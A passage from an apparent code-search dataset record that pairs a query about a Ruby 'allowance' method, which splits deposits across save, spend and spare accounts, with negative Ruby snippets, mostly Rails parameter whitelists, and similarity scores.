set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def tapioca_params params.require(:tapioca).permit(:name, :description, :picture) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def filtering_params\n params.permit(:email)\n end", "def active_code_params\n params[:active_code].permit\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69780594", "0.678054", "0.6742781", "0.67387927", "0.67346025", "0.6590683", "0.6501642", "0.6495788", "0.6479752", "0.64763314", "0.645457", "0.6437739", "0.6377168", "0.6372484", "0.6363871", "0.63179374", "0.62981373", "0.6297456", "0.62916917", "0.6290227", "0.628954", "0.62877893", "0.62814754", "0.62416226", "0.6237962", "0.62168854", "0.62127215", "0.62084496", "0.61927646", "0.6176822", "0.6174079", "0.6171225", "0.6161419", "0.61507314", "0.6150071", "0.6145409", "0.61204594", "0.61135256", "0.6105225", "0.6103249", "0.6088041", "0.6079626", "0.6070542", "0.6060409", "0.60198915", "0.6016795", "0.6010659", "0.60103244", "0.6005393", "0.6005393", "0.6000696", "0.60000104", "0.59931517", "0.59916013", "0.5991397", "0.5990416", "0.5979021", "0.5965926", "0.59582806", "0.59579134", "0.5957629", "0.5956672", "0.59518754", "0.59510773", "0.5942638", "0.5937516", "0.59361875", "0.59361875", "0.59336793", "0.5928626", "0.5925229", "0.59243226", "0.59174913", "0.5907821", "0.5907719", "0.5906177", "0.59056896", "0.5897028", "0.5896294", "0.5895856", "0.5893494", "0.58926904", "0.589066", "0.58854234", "0.58809334", "0.5878489", "0.58727074", "0.5868653", "0.5866631", "0.58666086", "0.5866305", "0.586484", "0.58631617", "0.5861481", "0.5861059", "0.5859114", "0.5858489", "0.585326", "0.58530635", "0.5848788", "0.58479697" ]
0.0
-1
the 'allowance' method is supposed to do what lines 2224 did, but the new instances aren't recognized inside the method
def allowance(amt.to_f) save.deposit(amt.to_f * 0.6) puts "Save balance = $#{@balance}." spend.deposit(amt.to_f * 0.3) puts "Spend balance = $#{@balance}." spare.deposit(amt.to_f * 0.1) puts "Spare balance = $#{@balance}." end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def invention; end", "def instantiate!; end", "def initialize(name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n @@all << self\n @owner.dogs << self\n end", "def initialize ability\n @ability = ability\n end", "def award; end", "def accountability_objects\n case count_method_for_accountability.to_sym\n when :awardees then awardees\n when :presenters then presenters\n when :complete then complete\n else []\n end\n end", "def allowDamage _obj, _args\n \"_obj allowDamage _args;\" \n end", "def creation #wizard will be able to create objects, his proficiency is based on the skill level he has in this type of magic\r\n \r\n end", "def new\n create_obj(@obj_class.new)\n build_enabled(obj)\n end", "def instances; end", "def instances; end", "def accessibility; end", "def test_new\n\t\tassert_instance_of(Acces, @acces, \"Erreur creation acces\")\n\tend", "def create\n @account = Account.find(params[:account_id])\n @allowance = @account.allowances.build(params[:allowance])\n\n respond_to do |format|\n if @allowance.save\n format.html { redirect_to @allowance, notice: 'Allowance was successfully created.' }\n format.json { render json: @allowance, status: :created, location: @allowance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @allowance.errors, status: :unprocessable_entity }\n end\n end\n end", "def instance; end", "def instance; end", "def instance; end", "def soft_ace\n # softy method refactor for when an ace is played\nend", "def spawnAnt\n\t\tant = Ant.new(@anthill)\n\t\tcase @type\n\t\twhen \"builder\"\n\t\t\tclass << ant\n\t\t\t\tdef setAnt\n\t\t\t\t\t@ant_type = \"builder\"\n\t\t\t\tend\n\t\t\t\tdef execute(room_type)\n\t\t\t\t\tanthill.food -= 1 #builder ant consumes 1 piece of food to create a new room\n\t\t\t\t\troom = Room.new(@anthill, room_type) #creates a room based on the room_type (determined by the anthill strategy)\n\t\t\t\t\t@alive = false #dies after the room is created\n\t\t\t\t\t@anthill.builders_count -= 1\n\t\t\t\t\troom\n\t\t\t\tend\n\t\t\tend\n\t\t\tant.setAnt\n\t\twhen \"warrior\"\n\t\t\tclass << ant\n\t\t\t\tdef setAnt\n\t\t\t\t\t@ant_type = \"warrior\"\n\t\t\t\t\t@symbol = \"^\".colorize(:background => @anthill.color)\n\t\t\t\tend\n\t\t\t\tdef execute(cell)\n\t\t\t\t\tif(cell.hill == nil)\n\t\t\t\t\t\tif(cell.ants.length > 0)\n\t\t\t\t\t\t\tcell.ants.each{|ant|\n\t\t\t\t\t\t\t\tif(ant.anthill != self.anthill && ant.alive == true)\n\t\t\t\t\t\t\t\t\tif(ant.ant_type == \"warrior\")\n\t\t\t\t\t\t\t\t\t\t#If the warrior kills the other warrior, it gains +2 xp, otherwise the other ant gains xp\n\t\t\t\t\t\t\t\t\t\tresult = interactWarrior(ant)\n\t\t\t\t\t\t\t\t\t\tif(result == 1)\n\t\t\t\t\t\t\t\t\t\t\tant.alive = false\n\t\t\t\t\t\t\t\t\t\t\tcell.ants.delete(ant)\n\t\t\t\t\t\t\t\t\t\t\tant.anthill.warriors_count -= 1\n\t\t\t\t\t\t\t\t\t\t\t@xp += 2\n\t\t\t\t\t\t\t\t\t\telsif(result == 2)\n\t\t\t\t\t\t\t\t\t\t\tself.alive = false\n\t\t\t\t\t\t\t\t\t\t\tcell.ants.delete(self)\n\t\t\t\t\t\t\t\t\t\t\t@anthill.warriors_count -= 1\n\t\t\t\t\t\t\t\t\t\t\tant.xp += 2\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t#If the warrior kills the forager, it gains +1 xp, otherwise the forager gains xp\n\t\t\t\t\t\t\t\t\tif(ant.ant_type == \"forager\")\n\t\t\t\t\t\t\t\t\t\tresult = interactForager(ant)\n\t\t\t\t\t\t\t\t\t\tif(result == 1)\n\t\t\t\t\t\t\t\t\t\t\tant.alive = false\n\t\t\t\t\t\t\t\t\t\t\tcell.ants.delete(ant)\n\t\t\t\t\t\t\t\t\t\t\tant.anthill.foragers_count -= 1\n\t\t\t\t\t\t\t\t\t\t\t@xp += 1\n\t\t\t\t\t\t\t\t\t\telsif\n\t\t\t\t\t\t\t\t\t\t\tant.xp += 1\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tend\n\t\t\t\t\t#If the warrior destroys an anthill, it gets the food and color(not as main color) of it\n\t\t\t\t\telsif(cell.hill != @anthill)\n\t\t\t\t\t\tresult = interactAnthill(cell)\n\t\t\t\t\t\tif(result == 1)\n\t\t\t\t\t\t\t@symbol = \"^\".colorize(:color => cell.hill.color,:background => @anthill.color).underline\n\t\t\t\t\t\t\t@anthill.food += cell.hill.food\n\t\t\t\t\t\t\tcell.hill.isAlive = false\n\t\t\t\t\t\t\tcell.hill = nil\n\t\t\t\t\t\t\t@xp += 5\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself.alive = false\n\t\t\t\t\t\t\tcell.ants.delete(self)\n\t\t\t\t\t\t\t@anthill.warriors_count -= 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tdef interactWarrior(warrior)\n\t\t\t\t\thit1 = rand(self.xp * self.xp)\n\t\t\t\t\thit2 = rand(warrior.xp * warrior.xp)\n\t\t\t\t\t#The warrior with the greatest hit wins\n\t\t\t\t\tif (hit1 > hit2)\n\t\t\t\t\t\treturn 1\n\t\t\t\t\telsif (hit2 > hit1)\n\t\t\t\t\t\treturn 2\n\t\t\t\t\telse\n\t\t\t\t\t\treturn 0\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tdef interactForager(forager)\n\t\t\t\t\tchance = rand(2)\n\t\t\t\t\t#The forager has 50% chance of living\n\t\t\t\t\tif (chance == 1)\n\t\t\t\t\t\treturn 1\n\t\t\t\t\tend\n\t\t\t\t\treturn 0\n\t\t\t\tend\n\n\t\t\t\tdef interactAnthill(cell)\n\t\t\t\t\tanthill = cell.hill\n\t\t\t\t\thit = rand(5)\n\t\t\t\t\t#The warrior has 20% chance of destroying the anthill\n\t\t\t\t\tif (hit == 4)\n\t\t\t\t\t\treturn 1\n\t\t\t\t\tend\n\t\t\t\t\treturn 0\n\t\t\t\tend\n\t\t\tend\n\t\t\tant.setAnt\n\t\twhen \"forager\"\n\t\t\tclass << ant\n\t\t\t\tdef setAnt\n\t\t\t\t\t@ant_type = \"forager\"\n\t\t\t\t\t@symbol = \"~\".colorize(:background => @anthill.color)\n\t\t\t\tend\n\t\t\t\tdef execute(cell)\n\t\t\t\t\tif(cell.ants.length > 0)\n\t\t\t\t\t\tcell.ants.each{|ant|\n\t\t\t\t\t\t\tif(ant.anthill != self.anthill && ant.alive == true)\n\t\t\t\t\t\t\t\tif(ant.ant_type == \"warrior\")\n\t\t\t\t\t\t\t\t\t#If forager escapes the warrior, it gains +1 xp, otherwise it dies\n\t\t\t\t\t\t\t\t\tresult = interactWarrior(ant)\n\t\t\t\t\t\t\t\t\tif(result == 1)\n\t\t\t\t\t\t\t\t\t\t@xp += 1\n\t\t\t\t\t\t\t\t\telsif(result == 2)\n\t\t\t\t\t\t\t\t\t\tself.alive = false\n\t\t\t\t\t\t\t\t\t\tcell.ants.delete(self)\n\t\t\t\t\t\t\t\t\t\t@anthill.foragers_count -= 1\n\t\t\t\t\t\t\t\t\t\tant.xp += 1\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\t\t#If the forager manages to collect 2 or more foods, each food it collects will be counted double\n\t\t\t\t\t\tif(cell.food == 1)\n\t\t\t\t\t\t\tif(@xp >= 2)\n\t\t\t\t\t\t\t\t@anthill.food += 2\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t@anthill.food += 1\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tcell.food = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tdef interactWarrior(warrior)\n\t\t\t\t\tchance = rand(2)\n\t\t\t\t\t#The forager has 50% chance of living\n\t\t\t\t\tif (chance == 1)\n\t\t\t\t\t\treturn 1\n\t\t\t\t\tend\n\t\t\t\t\treturn 0\n\t\t\t\tend\n\t\t\tend\n\t\t\tant.setAnt\n\t\tend\n\t\tant\n\tend", "def restriction \n end", "def ability_initialize(opts)\n ability = data.abilities\n if opts[:ability]\n @ability = opts[:ability]\n else\n ability_chance = rand(100)\n @ability = ability[@ability_index = ABILITY_CHANCES.find_index { |value| value > ability_chance }].to_i\n end\n @ability = GameData::Abilities.find_using_symbol(@ability) unless @ability.is_a?(Integer)\n @ability_current = @ability\n @ability_used = false\n end", "def initialize ability\n @ability = ability\n end", "def initialize (name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n @@all << self\n end", "def new_liability\n @liability=Liability.new\n end", "def with_candidates &b\n # Multiple assignment reduces (s)teps while debugging\n outermost, @candidates, @on_admission = @candidates.nil?, (@candidates || []), (@on_admission || [])\n begin\n b.call\n rescue Exception\n # Do not accept any of these candidates, there was a problem:\n @candidates = [] if outermost\n raise\n ensure\n if outermost\n while @candidates\n # Index the accepted instances in the constellation:\n candidates = @candidates\n on_admission = @on_admission\n @candidates = nil\n @on_admission = nil\n candidates.each do |instance|\n instance.class.index_instance(self, instance)\n loggers.each{|l| l.call(:assert, instance.class, instance.identifying_role_values)}\n end\n on_admission.each do |b|\n b.call\n end\n end\n end\n end\n end", "def under_construction\n end", "def test_can_create_instance_of_class_via_bang_method \n cars = Lumberjack.construct do\n vehicle :name => 'Prius (are owned by rich hippies)' do\n person! 'Ryan' do # i so put my foot in here, i'm not a rich hippy!\n age 25\n end\n end\n end\n assert_kind_of Person, cars[0].person\n assert_equal 'Ryan', cars[0].person.given_name\n assert_equal 25, cars[0].person.age\n end", "def initialize(abilities)\n @abilities = abilities\n end", "def initialize(name)\n #making sure name can be called out of instance method\n @name = name\n @bank_account = 25\n @happiness = 8\n @hygiene = 8\n\n end", "def initialize(species, weight, nickname, zoo)\n @species = species\n @weight = weight\n @nickname = nickname\n @zoo = zoo\n @@all << self\n\n #everytime a new animal object is created, its shoveled into the Animal class\n\nend", "def initialize(balance, account_holder)\n @balance = balance\n @account_holder = account_holder\n @@all << self\n # self.account_holder.accounts << self\n end", "def atk\n apply_param_limiter(super + party_gift(:atk) + spirit_attack)\n end", "def initialize(name)\n super\n @can_add = BattlerRequirement.new\n @can_remove = BattlerRequirement.new\n\n # @exp = {}\n # 100.times{|n| @exp[n] = n * 5 } #TODO find better calc\n # @exp_multiplicator = 1.0\n end", "def create_Warrior(ant)\n ant.type = \"warrior\"\n\n #warrior ant kills enemy ants.\n def ant.kill(enemy)\n meadow = Meadow.instance\n cell = meadow.meadow[@x][@y]\n\n if enemy.anthill != @anthill && enemy != self\n\n if enemy.type == \"warrior\"\n enemy.anthill.numb_Warriors -= 1\n elsif enemy.type == \"builder\"\n enemy.anthill.numb_Builders -= 1\n else\n if enemy.anthill.numb_Foregers > 1\n enemy.anthill.numb_Foregers -= 1\n end\n end\n\n cell.ants.delete(enemy)\n @anthill.numb_antKills += 1\n\n end\n\n\n\n end\n\n #Warrior ant wins against enemy anthill and deletes them from the game.\n def ant.delete_Hill(enemyhill)\n if enemyhill != @anthill\n @anthill.numb_colonyKills += 1\n Meadow.instance.totalHills -= 1 \n enemyhill = nil #hill is destroyed.\n #puts \"#{@anthill.name} destroys #{}\"\n end\n end\n\n @numb_Warriors += 1\n ant\n end", "def initialize(user)\n\n # Anyone\n allow :sessions, [:new, :create, :destroy]\n allow :circles, :index\n allow :decisions, [:all, :review]\n allow :circle_decisions, :index\n allow :password_resets, [:index, :create, :new, :edit, :update, :show, :destroy]\n\n # If They're logged in\n if user\n allow :users, :show do |user_record|\n user_record == user\n end\n\n # If they're logged in as a super\n if super?(user)\n allow :users, [:index]\n allow [:users, :decisions], [:new, :create, :edit, :update, :destroy]\n allow :circles, [:new, :create, :edit, :update]\n allow :circles, :destroy do |circle|\n circle_has_no_decisions?(circle)\n end\n\n # If they're logged in as a leader\n else\n allow :decisions, :new\n allow :decisions, :create # TODO: Find way to prevent users unassociated with the decisions circles to create decisions. For now, the view only allows them to select associated circles\n allow :decisions, [:edit, :update, :destroy] do |decision|\n circles_user_involved_in = []\n Circle.all.each do |circle|\n role = Role.find_by(circle: circle, user: user)\n unless role.role_type == \"none\"\n circles_user_involved_in.push(circle)\n end\n end\n decision.circle.in?(circles_user_involved_in)\n end\n allow :users, [:edit, :update] do |user_record|\n user_record == user\n end\n allow :users, :destroy do |user_record|\n user_record == user\n end\n end\n end\n end", "def internship_passed; end", "def initialize(name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n @owner.dogs << self\n @@all << self\n end", "def initialize (name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n\n @@all << self\n end", "def new\n @annonce = Annonce.new\n end", "def getAdvocacy\n\t\t\n\tend", "def aon; end", "def myAnotherInstance = new ObjectOrientedProgramming()", "def initialize(ages)\n # variable de instancia\n @ages = ages\n end", "def wont_be_instance_of(cls, msg=nil)\n InstanceAssay.refute!(self, cls, :message=>msg, :backtrace=>caller)\n end", "def policy; end", "def initialize(name)\n @name = name\n @@all << self #pushes every instance into the @@all array\nend", "def create_loan\n # helper method to create a loan and return that loan\n options = { holder: test_holder, 